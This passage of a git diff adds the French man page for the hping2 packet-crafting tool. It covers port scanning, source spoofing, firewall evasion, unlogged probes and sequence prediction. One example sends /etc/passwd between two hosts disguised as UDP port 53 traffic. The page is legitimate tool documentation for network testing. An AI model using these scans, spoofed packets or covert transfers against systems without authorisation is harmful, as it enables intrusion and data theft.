+.B \-c +.I count +] [ +.B \-i +.I wait +] [ +.B \-\-fast +] [ +.B \-I +.I interface +] [ +.B \-9 +.I signature +] [ +.B \-a +.I host +] [ +.B \-t +.I ttl +] [ +.B \-N +.I ip id +] [ +.B \-H +.I ip protocol +] [ +.B \-g +.I fragoff +] [ +.B \-m +.I mtu +] [ +.B \-o +.I tos +] [ +.B \-C +.I icmp type +] [ +.B \-K +.I icmp code +] [ +.B \-s +.I source port +] [ +.B \-p[+][+] +.I dest port +] [ +.B \-w +.I tcp window +] [ +.B \-O +.I tcp offset +] [ +.B \-M +.I tcp sequence number +] [ +.B \-L +.I tcp ack +] [ +.B \-d +.I data size +] [ +.B \-E +.I filename +] [ +.B \-e +.I signature +] [ +.B \-\-icmp\-ipver +.I version +] [ +.B \-\-icmp\-iphlen +.I length +] [ +.B \-\-icmp\-iplen +.I length +] [ +.B \-\-icmp\-ipid +.I id +] [ +.B \-\-icmp\-ipproto +.I protocol +] [ +.B \-\-icmp\-cksum +.I checksum +] [ +.B \-\-icmp\-ts +] [ +.B \-\-icmp\-addr +] [ +.B \-\-tcpexitcode +] [ +.B \-\-tcp-timestamp +] [ +.B \-\-tr-stop +] [ +.B \-\-tr-keep-ttl +] [ +.B \-\-tr-no-rtt +] [ +.B \-\-rand-dest +] [ +.B \-\-rand-source +] +hostname +.br +.ad +.SH DESCRIPTION +hping2 est un outil réseau capable d'envoyer des paquets TCP/IP sur +commande et d'afficher les réponses de la cible comme le programme ping le +fait avec les réponses ICMP. hping2 traite la fragmentation, les contenus de +paquets et les tailles arbitraires, et peut être utilisé dans le but de +transférer des fichiers encapsulés dans les protocoles supportés. En +utilisant hping2 vous êtes capable d'effectuer au moins les tâches +suivantes : + + - Tester les règles d'un firewall + - Scanner des ports de façon avancée + - Tester les performances réseau en utilisant différents protocoles, tailles de paquets, TOS (type de service) et fragmentation. + - Découverte de "Path MTU" + - Transférer des fichiers même au travers de règles de firewall vraiment fascistes. + - Comme traceroute avec différents protocoles. + - Utilisation comme Firewalk. + - Détermination d'OS à distance. + - Audit de pile TCP/IP. + - Beaucoup d'autres. + +.I C'est également un bon outil didactique pour apprendre TCP/IP. +hping2 est développé et maintenu par antirez@invece.org et est sous la +version 2 de la licence GPL. Le développement est ouvert donc vous pouvez +m'envoyer des patches, suggestions et affronts sans inhibition. +.SH SITE DE HPING +site primaire sur +.BR http://www.hping.org . +Vous pouvez trouver à la fois la version stable et +les instructions pour télécharger le dernier code source sur +http://www.hping.org/download.html +.SH OPTIONS DE BASE +.TP +.I -h --help +Montre l'écran d'aide sur la sortie standard, donc vous pouvez rediriger +vers less. +.TP +.I -v --version +Montre l'information de version et l'API utilisée pour accéder au niveau +données (data link layer), +.I linux sock packet +ou +.IR libpcap . +.TP +.I -c --count count +Arrête après avoir envoyé (et reçu) +.I count +paquets réponse. Après que le dernier paquet a été envoyé hping2 attend +COUNTREACHED_TIMEOUT secondes les réponses du système cible. Vous avez la +possibilité de régler COUNTREACHED_TIMEOUT en éditant hping2.h +.TP +.I -i --interval +Attend le nombre spécifié de secondes ou de micro secondes entre l'envoie de +chaque paquet. +--interval X fixe +.I wait +à X secondes, --interval uX fixe +.I wait +à X micro secondes. Le défaut est d'attendre une seconde entre chaque +paquet. En utilisant hping2 pour transférer des fichiers fixer cette option +est très important pour augmenter le taux de transfert. Même en utilisant +hping2 pour effectuer des scans passifs/avec usurpation d'adresse vous +devriez fixer cette option, voir +.B HPING2-HOWTO +pour plus d'informations. +.TP +.I --fast +Alias pour -i u10000. Hping enverra 10 paquets par seconde. +.TP +.I --faster +Alias pour -i u1. Plus rapide que --fast ;) (mais pas aussi rapide que votre +ordinateur peut envoyer des paquets à cause de la conception basée sur les +signaux). +.TP +.I -n --numeric +Sortie numérique seulement, aucune tentative ne sera faite pour chercher les +noms symboliques pour les adresses système. +.TP +.I -q --quiet +Sortie silencieuse. Rien n'est affiche excepté les lignes de résume au +moment du démarrage et quand c'est fini. +.TP +.I -I --interface interface name +Par défaut sur les systèmes linux et BSD hping2 utilise l'interface de +routage par défaut. Sur d'autres systèmes ou quand il n'y a pas d'interface +de routage par défaut hping2 utilise la première interface non loopback. +Quoi qu'il en soit vous avez la possibilité de forcer hping2 à utiliser +l'interface dont vous avez besoin en utilisant cette option. Note : vous +n'avez pas besoin de spécifier le nom complet, par exemple -I et va +correspondre à eth0 ethernet0 myet1 et cetera. Si aucune interface ne +correspond hping2 essayera d'utiliser lo. +.TP +.I -V --verbose +Active la sortie verbeuse. Les réponses TCP seront affichées comme suit : + +len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms +tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0 +.TP +.I -D --debug +Active le mode de débogage, c'est utile quand vous rencontrez quelques +problèmes avec hping2. Quand le mode de débogage est activé vous obtiendrez +plus d'informations à propos +.B de la détection des interfaces, de l'accès au niveau données, du +.B réglage des interfaces, des options d'analyse, de la fragmentation, du +.B protocole HCMP +et d'autres choses. +.TP +.I -z --bind +Lie CTRL+Z au +.B time to live (TTL) +ainsi vous serez capable d'incrémenter/décrémenter le ttl des paquets +sortant en pressant CTRL+Z une ou deux fois. +.TP +.I -Z --unbind +Dé-lie CTRL+Z ainsi vous serez capable d'arrêter hping2 +.SH SELECTION DE PROTOCOLE +Le protocole par défaut est TCP, par défaut hping2 enverra des entêtes TCP +sur le port 0 du système cible avec une winsize (ndt : taille de fenêtre) de +64 sans aucun drapeau TCP activé. Souvent c'est la meilleure manière de +faire un 'ping caché', utile quand la cible est derrière un firewall qui +jette ICMP. De plus un paquet TCP null-flag (ndt : sans drapeau) vers le port +0 a de bonnes probabilités de ne pas être journalisé. +.TP +.I -0 --rawip +Mode RAW IP, dans ce mode hping2 enverra une entête IP avec les données +ajoutées avec --signature et/ou --file, voir également --ipproto qui vous +autorise à fixer le champ protocole IP. +.TP +.I -1 --icmp +Mode ICMP, par défaut hping2 enverra un paquet ICMP echo-request, vous +pouvez fixer un autre type/code ICMP en utilisant les options +.B --icmptype --icmpcode +.TP +.I -2 --udp +Mode UDP, par défaut hping2 enverra des paquets UDP vers le port 0 du +système cible. Les options réglables des entêtes UDP sont les suivantes : +.B --baseport, --destport, --keep. +.TP +.I -8 --scan +Mode scan, l'option attend un argument qui décrit des groupes de ports à +scanner. Les groupes de ports sont séparés par des virgules : un nombre +décrit seulement un port unique, donc 1,2,3 signifie ports 1, 2 et 3. Les +intervalles sont spécifiés en utilisant une notation début-fin, comme +1-1000, qui dit à hping de scanner les ports entre 1 et 1000 (inclus). Le +mot spécial +.B all +est un alors pour 0-65535, pendant que le mot spécial +.B known +inclut tous les ports listés dans /etc/services. +.br +Les groupes peuvent être combinés, donc la commande suivante scannera les +ports entre 1 et 1000 ET le port 8888 ET les ports listés dans +/etc/services: +.B hping --scan 1-1000,8888,known -S target.host.com +.br +Les groupes peuvent être niés (soustraits) en utilisant un caractère ! comme +préfix, donc la ligne de commande suivante scannera tous les ports NON +listés dans /etc/services dans l'intervalle 1-1024 : +.B hping --scan '1-1024,!known' -S target.host.com +.br +Gardez à l'esprit que pendant que hping apparaît beaucoup plus comme un +scanneur de ports dans ce mode, la plupart des options sont toujours +honorées, donc pour effectuer par exemple un scan SYN vous avez besoin de +spécifier l'option +.BR -S , +vous pouvez changer la taille de la fenêtre TCP, le TTL, contrôler la +fragmentation IP comme habituellement, et ainsi de suite. La seule +différence réelle est que le comportement standard de hping est encapsulé +dans un algorithme de scan. +.br +.B Note technique +: Le mode scan utilise une conception basée sur deux +processus, avec de la mémoire partagée pour la synchronisation. +L'algorithlme de scan n'est toujours pas optimal, mais déjà assez rapide. +.br +.B Conseil +: à la différence de la plupart des scanneurs, hping montre quelques +informations intéressantes à propos des paquets reçus, les champs IP ID, TCP +win, TTL, et ainsi de suite, n'oubliez pas de regarder ces informations +additionnelles quand vous effectuez un scan! Quelques fois elles montrent des +détails intéressants. +.TP +.I -9 --listen signature +Mode d'écoute de HPING2, en utilisant cette option hping2 attend les paquets +qui contiennent +.I signature +et exporte de la fin de la +.I signature +à la fin du paquet. Par exemple si hping2 --listen TEST lit un paquet qui +contient +.B 234-09sdflkjs45-TESThello_world +il affichera +.BR hello_world . +.SH OPTIONS IP +.TP +.I -a --spoof hostname +Utiliser cette option dans le but de fixer une fausse adresse source, cette +option assure que le système cible n'obtiendra pas votre adresse réelle. +Quoi qu'il en soit les réponses seront envoyées à l'adresse usurpée, ainsi +vous ne serez pas capable de les voir. Afin de voir comment il est possible +d'effectuer des scans avec des adresses usurpées/passifs voir le fichier +.BR HPING2-HOWTO . + +.TP +.I --rand-source +Cette option active le +.BR "mode source aléatoire" . +hping enverra des paquets avec des adresses sources aléatoires. Il est +intéressant d'utiliser cette option pour stresser les tables d'étât d'un +firewall, et d'autres tables dynamiques basées sur les IP dans les piles +TCP/IP et les firewall logiciels. +.TP +.I --rand-dest +Cette option active le +.BR "mode destination aléatoire" . +hping enverra des paquets à des adresses aléatoires obtenues en suivant la +règle que vous avez spécifiée comme système cible. Vous avez besoin de +spécifier une adresse IP numérique en tant que système cible comme +.BR "10.0.0.x" . +Toutes les occurrences de +.B x +seront remplacées avec un nombre aléatoire dans l'intervalle 0-255. Ainsi +pour obtenir des adresses IP internet dans l'espace IPv4 complet utilisez +quelque chose comme +.BR "hping x.x.x.x --rand-dest" . +Si vous n'êtes pas sûrs du genre d'adresses que votre règle génère essayez +d'utiliser l'option +.B --debug +pour afficher chaque nouvelle adresse destination générée. +.br +.B Attention +: quand cette option est activée hping ne peut pas détecter la bonne +interface +de sortie pour les paquets, ainsi vous devez utiliser l'option +.B --interface +pour sélectionner l'interface de sortie. +.TP +.I -t --ttl time to live +En utilisant cette option vous pouvez fixer le +.B TTL (time to live) +des paquets sortant, il est vraisemblable que vous utiliserez ceci avec les +options +.B --traceroute +ou +.B --bind +Dans le doute essayez +.BR "" "`" "hping2 some.host.com -t 1 --traceroute" "'." +.TP +.I -N --id +Fixe le champ ip->id . La valeur du champ id par défaut est aléatoire mais +si la fragmentation est activée et que le champ id n'est pas spécifié alors +il sera égal à +.BR "getpid() & 0xFF" , +mettre en oeuvre une meilleure solution est dans la liste TODO (ndt : à faire). +.TP +.I -H --ipproto +Fixe le protocole IP dans le mode RAW IP. +.TP +.I -W --winid +Le champ id des systèmes Windows* avant Win2k ont un byte ordering (ndt : +ordre des +octets) différent, si cette option est activée hping2 affichera proprement +les champs id des réponses de ces Windows. +.TP +.I -r --rel +Affiche les incréments du champ id au lieu du champ id. Voir le fichier +.B HPING2-HOWTO +pour plus d'informations. Les incréments ne sont pas calculés comme +id[N]-id[N-1] mais en utilisant une compensation de pertes de paquets. Voir +le fichier relid.c pour plus d'informations. +.TP +.I -f --frag +Découpe les paquets en fragments, ceci peut être utile afin de tester les +performances de la fragmentation des piles IP et de tester si certains +filtres de paquets sont si faibles qu'ils peuvent être passés en utilisant +de petits fragments (anachronique). Par défaut le 'mtu virtuel' (ndt : +taille des fragments) est de 16 octets. Voir également l'option +.IR --mtu . +.TP +.I -x --morefrag +Fixe le drapeau IP "more fragments" (ndt : d'autres fragments), utilisez +cette option si vous voulez que le système cible envoie un paquet +.B ICMP time-exceeded during reassembly +(ndt : délai dépassé durant le ré-assemblage). +.TP +.I -y --dontfrag +Fixe le drapeau IP "don't fragment" (ndt : ne pas fragmenter), ceci peut +être utilisé pour effectuer un +.B MTU path discovery +(ndt : découverte de la valeur minimale de la "taille maximale des paquets" +sur le chemin). +.TP +.I -g --fragoff fragment offset value +Fixe l'offset du fragment. +.TP +.I -m --mtu mtu value +Fixe un 'mtu virtuel' différent de 16 quand la fragmentation est activée. Si +la taille des paquets est supérieure au 'mtu virtuel' alors la fragmentation +est automatiquement activée. +.TP +.I -o --tos hex_tos +Fixe +.B Type Of Service (TOS) +(ndt : le type de service), pour plus d'informations essayez +.BR "--tos help" . +.TP +.I -G --rroute +Enregistrer la route. Inclut l'option RECORD_ROUTE dans chaque paquet envoyé +et affiche la route présente dans le tampon du paquet retourné. Notez que +l'entête IP n'est suffisamment large que pour neuf routes. Beaucoup de +systèmes ignorent ou suppriment cette option. Notez également qu'en +utilisant hping vous êtes capable d'utiliser l'enregistrement de la route +même si le système cible filtre ICMP. Enregistrer la route est une option +IP, non pas une option ICMP, ainsi vous pouvez utiliser l'option +d'enregistrement de la route même dans les modes TCP et UDP. +.SH OPTIONS ICMP +.TP +.I -C --icmptype type +Fixe le type ICMP, le défaut est +.BR "ICMP echo request" . +.TP +.I -K --icmpcode code +Fixe le code ICMP, le défaut est 0 (implique --icmp). +.TP +.I --icmp-ipver +Fixe la version IP de l'entête IP contenue dans les données ICMP, le défaut +est 4. +.TP +.I --icmp-iphlen +Fixe la longueur de l'entête IP contenue dans les données ICMP, le défaut +est 5 (5 mots de 32 bits). +.TP +.I --icmp-iplen +Fixe la longueur du paquet IP de l'entête IP contenue dans les données ICMP, +le défaut est la taille réelle. +.TP +.I --icmp-ipid +Fixe le champ IP id de l'entête IP contenue dans les données ICMP, le défaut +est aléatoire. +.TP +.I --icmp-ipproto +Fixe le protocole IP de l'entête IP contenue dans les données ICMP, le +défaut est TCP. +.TP +.I --icmp-cksum +Fixe la somme de contrôle ICMP, le défaut est la somme de contrôle valide. +.TP +.I --icmp-ts +Alias pour --icmptype 13 (pour envoyer des requêtes ICMP timestamp). +.TP +.I --icmp-addr +Alias pour --icmptype 17 (pour envoyer des requêtes ICMP masque réseau). +.SH OPTIONS TCP/UDP +.TP +.I -s --baseport source port +hping2 utilise le port source afin de deviner les numéros de séquence des +réponses. Il commence avec un numéro de port source de base, et incrémente +ce numéro pour chaque paquet envoyé. Quand un paquet est reçu alors le +numéro de séquence peut être calculé comme +.IR "port.source.réponse - port.source.de.base" . +Le port source de base par défaut est aléatoire, en utilisant cette option +vous êtes capable de fixer un numéro différent. Si vous avez besoin que le +port source ne soit pas incrémenté pour chaque paquet envoyé utilisez +l'option +.IR "-k --keep" . +.TP +.I -p --destport [+][+]dest port +Fixe le port destination, le défaut est 0. Si le caractère '+' précède le +numéro de port destination (i.e. +1024) le port destination sera incrémenté +pour chaque paquet reçu. Si deux '+' précèdent le numéro de port destination +(i.e. ++1024), le port destination sera incrémenté pour chaque paquet +envoyé. +Par défaut le port destination peut être modifié interactivement en +utilisant +.B CTRL+z. +.TP +.I --keep +Garde constant le port source, voir +.I --baseport +pour plus d'informations. +.TP +.I -w --win +Fixe la taille de la fenêtre TCP. Le défaut est 64. +.TP +.I -O --tcpoff +Fixe un faux offset (ndt : décalage) des données TCP. L'offset normal des +données est tcphdrlen / 4. +.TP +.I -M --tcpseq +Fixe le numéro de séquence TCP. +.TP +.I -L --tcpack +Fixe le drapeau TCP ack. +.TP +.I -Q --seqnum +Cette option peut être utilisée afin de collecter les numéros de séquence +générés par le système cible. Ceci peut être utile quand vous avez besoin +d'analyser si les numéros de séquence TCP sont prévisibles. Exemple de +sortie : + +.B #hping2 win98 --seqnum -p 139 -S -i u1 -I eth0 +.nf +HPING uaz (eth0 192.168.4.41): S set, 40 headers + 0 data bytes +2361294848 +2361294848 +2411626496 +50331648 +2545844224 +134217728 +2713616384 +167772160 +2881388544 +167772160 +3049160704 +167772160 +3216932864 +167772160 +3384705024 +167772160 +3552477184 +167772160 +3720249344 +167772160 +3888021504 +167772160 +4055793664 +167772160 +4223565824 +167772160 +.fi + +La première colonne reporte les numéros de séquence, la seconde la +différence entre le numéro de séquence courant et le dernier. Comme vous +pouvez le voir les numéros de séquence du système cible sont prévisibles. +.TP +.I -b --badcksum +Envoie des paquets avec une mauvaise somme de contrôle UDP/TCP +.TP +.I --tcp-timestamp +Active l'option TCP timestamp, et essaye de deviner la fréquence de mise à +jour du timestamp et l'uptime du système distant. +.TP +.I -F --fin +Fixe le drapeau TCP FIN. +.TP +.I -S --syn +Fixe le drapeau TCP SYN. +.TP +.I -R --rst +Fixe le drapeau TCP RST. +.TP +.I -P --push +Fixe le drapeau TCP PUSH. +.TP +.I -A --ack +Fixe le drapeau TCP ACK. +.TP +.I -U --urg +Fixe le drapeau TCP URG. +.TP +.I -X --xmas +Fixe le drapeau TCP Xmas. +.TP +.I -Y --ymas +Fixe le drapeau TCP Ymas. +.SH OPTIONS COMMUNES +.TP +.I -d --data data size +Fixe la taille du corps du paquet. Attention, en utilisant --data 40 hping2 +ne générera pas des paquets de 0 octet mais de entête_de_protocole+40 +octets. hping2 affichera en information la taille des paquets comme première +ligne de sortie, comme ceci : +.B HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 40 data bytes +.TP +.I -E --file filename +Utilise le contenu du fichier +.B filename +pour remplir les données du paquet. +.TP +.I -e --sign signature +Remplit d'abord +.I longueur de signature +octets de données avec +.IR signature . +Si +.I longueur de signature +est plus grand que la taille des données alors un message d'erreur sera +affiché. +Si vous ne spécifiez pas la taille des données hping utilisera la taille de +la signature comme taille des données. +Cette option peut être utilisée sans risque avec l'option +.IR "--file filename" , +l'espace de données restant sera rempli en utilisant le fichier +.IR filename . +.TP +.I -j --dump +Affiche les paquets en hexadécimal. +.TP +.I -J --print +Affiche les caractères imprimables des paquets reçus. +.TP +.I -B --safe +Active le protocole safe, en utilisant cette option les paquets perdus dans +un transfert de fichier seront renvoyés. Par exemple afin d'envoyer le +fichier /etc/passwd depuis le système A au système B vous pouvez utiliser ce +qui suit : +.nf +.I [host_a] +.B # hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd +.I [host_b] +.B # hping2 host_a --listen signature --safe --icmp +.fi +.TP +.I -u --end +Si vous utilisez l'option +.IR "--file filename" , +cela vous dit quand la fin du fichier a été atteinte. D'ailleurs cela +prévient que l'autre côté accepte plus de paquets. S'il vous plaît, pour +plus d'informations voir le fichier +.BR HPING2-HOWTO . +.TP +.I -T --traceroute +Mode traceroute. En utilisant cette option hping2 incrémentera le ttl pour +chaque paquet +.B ICMP time to live 0 during transit +reçu. Essayez +.BR "hping2 host --traceroute" . +Cette option implique --bind et --ttl 1. Vous pouvez l'emporter sur le ttl à +1 en utilisant l'option --ttl. Depuis 2.0.0 stable il affiche les +informations de RTT. +.I --tr-keep-ttl +garde le ttl fixe en mode traceroute, ainsi vous pouvez contrôler simplement +un noeud sur la route. Par exemple, pour contrôler comment le 5ème noeud +change ou comment son RTT change vous pouvez essayer +.BR "hping2 host --traceroute --ttl 5 --tr-keep-ttl" . +.TP +.I --tr-stop +Si cette option est spécifiée hping quittera dès que le premier paquet qui +n'est pas un ICMP time exceeded est reçu. Ceci émule mieux le comportement +de traceroute. +.TP +.I --tr-no-rtt +Ne montre pas l'information RTT en mode traceroute. L'information du RTT des +ICMP time exceeded n'est même pas calculée si cette option est positionnée. +.TP +.I --tcpexitcode +Quitte avec le champ tcp->th_flag du dernier paquet reçu comme code de +retour. Utile pour les scripts qui ont besoin, par exemple, de savoir si le +port 999 de quelque système répond avec SYN/ACK ou avec RST en réponse à un +SYN, i.e. le service est lancé ou arrêté. +.SH FORMAT DE SORTIE TCP +Le format standard de sortie TCP est le suivant : + +len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms + +.B len +est la taille, en octets, des données capturées dans la couche liaison de +données en excluant la taille de l'entête de liaison de données. Ceci peut +ne pas correspondre à la taille du datagramme IP à cause du rembourrage bas +niveau de la couche liaison de données. + +.B ip +est l'adresse ip source. + +.B flags +sont les drapeaux TCP, R pour RESET, S pour SYN, A pour ACK, F pour FIN, P +pour PUSH, U pour URGENT, X pour 0x40 non standard, Y pour 0x80 non +standard. + +Si la réponse contient +.B DF +l'entête IP possède le bit don't fragment (ndt : ne pas fragmenter) +positionné. + +.B seq +est le numéro de séquence du paquet, obtenu en utilisant le port source pour +les paquets TCP/UDP, le champ séquence pour les paquets ICMP. + +.B id +est le champ IP ID. + +.B win +est la taille de la fenêtre TCP + +.B rtt +est le "round trip time" (ndt : temps aller-retour) en millisecondes. + +Si vous exécutez hping en utilisant l'option +.B -V +de la ligne de commande il affichera des informations supplémentaires à +propos du paquet, par exemple : + +len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms +tos=0 iplen=40 seq=0 ack=1223672061 sum=e61d urp=0 + +.B tos +est le champ type de service de l'entête IP. + +.B iplen +est le champ IP longueur totale. + +.B seq et ack +sont les numéros de séquence et d'acquittement sur 32 bits dans l'entête +TCP. + +.B sum +est la valeur de la somme de contrôle de l'entête TCP. + +.B urp +est la valeur du pointeur urgent TCP. + +.SH FORMAT DE SORTIE UDP + +Le format standard de sortie est : + +len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms + +La signification des champs est la même que celle de la sortie TCP pour les +champs de même nom. + +.SH FORMAT DE SORTIE ICMP + +Un exemple de sortie ICMP est : + +ICMP Port Unreachable from ip=192.168.1.1 name=nano.marmoc.net + +Il est très facile à comprendre. Il commence avec la chaîne "ICMP" suivie +par la description de l'erreur ICMP, dans l'exemple Port Unreachable (ndt : +port non accessible). Le champ ip est l'adresse IP source du datagramme IP +contenant l'erreur ICMP, le champ name est simplement l'adresse numérique +résolue en un nom (une requête dns PTR) ou UNKNOWN si la résolution a +échoué. + +Le format ICMP de Time exceeded during ou de reassembly est un peu +différent : + +TTL 0 during transit from ip=192.168.1.1 name=nano.marmoc.net + +TTL 0 during reassembly from ip=192.70.106.25 name=UNKNOWN + +La seule différence est la description de l'erreur, elle commence avec TTL +0. + +.SH AUTEUR +Salvatore Sanfilippo , avec l'aide des personnes +mentionnées dans le fichier AUTHORS et sur http://www.hping.org/authors.html +.SH BOGUES +Même en utilisant les options --end et --safe pour transférer des fichiers, +le paquet final sera rembourré avec des octets 0x00. +.PP +Les données sont lues sans tenir compte de l'alignement, mais l'alignement +est imposé dans les structures de données. +Ceci ne sera pas un problème sous i386 mais, alors que normalement les +entêtes TCP/IP sont naturellement alignées, cela peut créer des problèmes +avec divers processeurs et des paquets mal-formés si il y a des accès non +alignés quelque part dans le code (aucun avec un peu de chance). +.PP +Sur Solaris hping ne fonctionne pas sur l'interface loopback. Ceci semble +être un problème solaris, comme exposé dans la liste de diffusion +tcpdump-workers, ainsi la libpcap ne peut rien faire pour la supporter +correctement. +.SH VOIR AUSSI +ping(8), traceroute(8), ifconfig(8), nmap(1) +.SH TRADUCTEUR +Denis Ducamp \ No newline at end of file diff --git a/docs/french/hping2-fr.8.txt b/docs/french/hping2-fr.8.txt new file mode 100644 index 0000000..b27fe4f --- /dev/null +++ b/docs/french/hping2-fr.8.txt @@ -0,0 +1,694 @@ +HPING2(8) HPING2(8) + +NOM + hping2 - envoie des paquets TCP/IP (presque) arbitraires à + des systèmes réseaux + +RESUME + hping2 [ -hvnqVDzZ012WrfxykQbFSRPAUXYjJBuTG ] [ -c count ] + [ -i wait ] [ --fast ] [ -I interface ] [ -9 signature ] [ + -a host ] [ -t ttl ] [ -N ip id ] [ -H ip protocol ] [ -g + fragoff ] [ -m mtu ] [ -o tos ] [ -C icmp type ] [ -K icmp + code ] [ -s source port ] [ -p[+][+] dest port ] [ -w tcp + window ] [ -O tcp offset ] [ -M tcp sequence number ] [ -L + tcp ack ] [ -d data size ] [ -E filename ] [ -e signature + ] [ --icmp-ipver version ] [ --icmp-iphlen length ] [ + --icmp-iplen length ] [ --icmp-ipid id ] [ --icmp-ipproto + protocol ] [ --icmp-cksum checksum ] [ --icmp-ts ] [ + --icmp-addr ] [ --tcpexitcode ] [ --tcp-timestamp ] [ + --tr-stop ] [ --tr-keep-ttl ] [ --tr-no-rtt ] [ --rand- + dest ] [ --rand-source ] hostname + +DESCRIPTION + hping2 est un outil réseau capable d'envoyer des paquets + TCP/IP sur commande et d'afficher les réponses de la cible + comme le programme ping le fait avec les réponses ICMP. + hping2 traite la fragmentation, les contenus de paquets et + les tailles arbitraires, et peut être utilisé dans le but + de transférer des fichiers encapsulés dans les protocoles + supportés. En utilisant hping2 vous êtes capable + d'effectuer au moins les tâches suivantes : + + - Tester les règles d'un firewall + - Scanner des ports de façon avancée + - Tester les performances réseau en utilisant différents + protocoles, tailles de paquets, TOS (type de service) et + fragmentation. + - Découverte de "Path MTU" + - Transférer des fichiers même au travers de règles de + firewall vraiment fascistes. + - Comme traceroute avec différents protocoles. + - Utilisation comme Firewalk. + - Détermination d'OS à distance. + - Audit de pile TCP/IP. + - Beaucoup d'autres. + + C'est également un bon outil didactique pour apprendre + TCP/IP. hping2 est développé et maintenu par + antirez@invece.org et est sous la version 2 de la licence + GPL. Le développement est ouvert donc vous pouvez + m'envoyer des patches, suggestions et affronts sans inhi­ + bition. + +SITE DE HPING + site primaire sur http://www.hping.org. Vous pouvez trou­ + ver à la fois la version stable et les instructions pour + télécharger le dernier code source sur + http://www.hping.org/download.html + +OPTIONS DE BASE + -h --help + Montre l'écran d'aide sur la sortie standard, donc + vous pouvez rediriger vers less. + + -v --version + Montre l'information de version et l'API utilisée + pour accéder au niveau données (data link layer), + linux sock packet ou libpcap. + + -c --count count + Arrête après avoir envoyé (et reçu) count paquets + réponse. Après que le dernier paquet a été envoyé + hping2 attend COUNTREACHED_TIMEOUT secondes les + réponses du système cible. Vous avez la possibilité + de régler COUNTREACHED_TIMEOUT en éditant hping2.h + + -i --interval + Attend le nombre spécifié de secondes ou de micro + secondes entre l'envoie de chaque paquet. --inter­ + val X fixe wait à X secondes, --interval uX fixe + wait à X micro secondes. Le défaut est d'attendre + une seconde entre chaque paquet. En utilisant + hping2 pour transférer des fichiers fixer cette + option est très important pour augmenter le taux de + transfert. Même en utilisant hping2 pour effectuer + des scans passifs/avec usurpation d'adresse vous + devriez fixer cette option, voir HPING2-HOWTO pour + plus d'informations. + + --fast Alias pour -i u10000. Hping enverra 10 paquets par + seconde. + + --faster + Alias pour -i u1. Plus rapide que --fast ;) (mais + pas aussi rapide que votre ordinateur peut envoyer + des paquets à cause de la conception basée sur les + signaux). + + -n --numeric + Sortie numérique seulement, aucune tentative ne + sera faite pour chercher les noms symboliques pour + les adresses système. + + -q --quiet + Sortie silencieuse. Rien n'est affiche excepté les + lignes de résume au moment du démarrage et quand + c'est fini. + + -I --interface interface name + Par défaut sur les systèmes linux et BSD hping2 + utilise l'interface de routage par défaut. Sur + d'autres systèmes ou quand il n'y a pas d'interface + de routage par défaut hping2 utilise la première + interface non loopback. Quoi qu'il en soit vous + avez la possibilité de forcer hping2 à utiliser + l'interface dont vous avez besoin en utilisant + cette option. Note : vous n'avez pas besoin de + spécifier le nom complet, par exemple -I et va cor­ + respondre à eth0 ethernet0 myet1 et cetera. Si + aucune interface ne correspond hping2 essayera + d'utiliser lo. + + -V --verbose + Active la sortie verbeuse. Les réponses TCP seront + affichées comme suit : + + len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 + id=0 win=0 rtt=0.4 ms tos=0 iplen=40 seq=0 + ack=1380893504 sum=2010 urp=0 + + -D --debug + Active le mode de débogage, c'est utile quand vous + rencontrez quelques problèmes avec hping2. Quand le + mode de débogage est activé vous obtiendrez plus + d'informations à propos de la détection des inter­ + faces, de l'accès au niveau données, du réglage des + interfaces, des options d'analyse, de la fragmenta­ + tion, du protocole HCMP et d'autres choses. + + -z --bind + Lie CTRL+Z au time to live (TTL) ainsi vous serez + capable d'incrémenter/décrémenter le ttl des + paquets sortant en pressant CTRL+Z une ou deux + fois. + + -Z --unbind + Dé-lie CTRL+Z ainsi vous serez capable d'arrêter + hping2 + +SELECTION DE PROTOCOLE + Le protocole par défaut est TCP, par défaut hping2 enverra + des entêtes TCP sur le port 0 du système cible avec une + winsize (ndt : taille de fenêtre) de 64 sans aucun drapeau + TCP activé. Souvent c'est la meilleure manière de faire un + 'ping caché', utile quand la cible est derrière un fire­ + wall qui jette ICMP. De plus un paquet TCP null-flag (ndt + : sans drapeau) vers le port 0 a de bonnes probabilités de + ne pas être journalisé. + + -0 --rawip + Mode RAW IP, dans ce mode hping2 enverra une entête + IP avec les données ajoutées avec --signature et/ou + --file, voir également --ipproto qui vous autorise + à fixer le champ protocole IP. + + -1 --icmp + Mode ICMP, par défaut hping2 enverra un paquet ICMP + echo-request, vous pouvez fixer un autre type/code + ICMP en utilisant les options --icmptype --icmpcode + + -2 --udp + Mode UDP, par défaut hping2 enverra des paquets UDP + vers le port 0 du système cible. Les options + réglables des entêtes UDP sont les suivantes : + --baseport, --destport, --keep. + + -8 --scan + Mode scan, l'option attend un argument qui décrit + des groupes de ports à scanner. Les groupes de + ports sont séparés par des virgules : un nombre + décrit seulement un port unique, donc 1,2,3 signi­ + fie ports 1, 2 et 3. Les intervalles sont spécifiés + en utilisant une notation début-fin, comme 1-1000, + qui dit à hping de scanner les ports entre 1 et + 1000 (inclus). Le mot spécial all est un alors pour + 0-65535, pendant que le mot spécial known inclut + tous les ports listés dans /etc/services. + Les groupes peuvent être combinés, donc la commande + suivante scannera les ports entre 1 et 1000 ET le + port 8888 ET les ports listés dans /etc/services: + hping --scan 1-1000,8888,known -S target.host.com + Les groupes peuvent être niés (soustraits) en util­ + isant un caractère ! comme préfix, donc la ligne de + commande suivante scannera tous les ports NON + listés dans /etc/services dans l'intervalle 1-1024 + : hping --scan '1-1024,!known' -S target.host.com + Gardez à l'esprit que pendant que hping apparaît + beaucoup plus comme un scanneur de ports dans ce + mode, la plupart des options sont toujours + honorées, donc pour effectuer par exemple un scan + SYN vous avez besoin de spécifier l'option -S, vous + pouvez changer la taille de la fenêtre TCP, le TTL, + contrôler la fragmentation IP comme habituellement, + et ainsi de suite. La seule différence réelle est + que le comportement standard de hping est encapsulé + dans un algorithme de scan. + Note technique : Le mode scan utilise une concep­ + tion basée sur deux processus, avec de la mémoire + partagée pour la synchronisation. L'algorithlme de + 